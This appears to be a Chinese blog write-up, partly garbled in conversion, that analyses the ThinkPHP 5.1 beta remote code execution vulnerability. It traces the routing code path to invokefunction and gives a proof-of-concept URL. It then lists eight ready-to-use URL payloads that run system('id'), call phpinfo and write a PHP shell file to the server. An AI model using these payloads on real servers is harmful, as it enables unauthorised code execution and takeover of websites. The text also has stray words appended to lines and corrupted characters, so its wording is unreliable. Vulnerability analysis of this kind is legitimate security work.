测试版本thinkphp5.1betaphp
url => http://127.0.0.1/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1html
漏洞分析web
查阅了网上的分析资料,直接定位到漏洞造成的直接代码Module.php 第124行:thinkphp
传入的参数在124行生成了think\container类中的invokefunciton方法,该方法会生成一个函数并调用。shell
而传入参数$vars为咱们get中传入的内容。反向跟踪$call和$vars变量windows
在108行以$instance实例做为元素。继续反向查看,能够发如今第93行被实例化。服务器
深刻查看$this->app->controller。thinkphp5.1beta\thinkphp\library\think\App.php第463行app
当检测到路由信息中有\后调用$this->request->module()方法,该方法会先判断该类是否存在,存在的话生成该类实例函数
其中$controller从参数中提取出来的。thinkphp5
分析堆栈,url.php第26行
能够看到,咱们传入的路由信息被parseUrl解析后传给了Module类实例化运行了run()方法。
注意:
网上payload还有不少,由于漏洞的利用主要是找源码中存在的能够利用的类,用其生成方法并传入参数执行。
好比:https://www.chabug.org/web/613.html中罗列的
1.?s=index/\think\Request/input&filter=phpinfo&data=1 二、?s=index/\think\Request/input&filter=system&data=id 三、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 四、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 五、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 六、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 七、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 八、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
可是要你的thinkphp版本中要确实存在该类,而且对方服务器系统不能是windows,由于在class_exist判断类是否存在的时候,若命令空间不为\think\xxx ,win系统会把类名小写化后去严格根据大小写判断该类的对应文件是否存在,而在thinkphp中文件均以大写开头,因此会判断该类不存在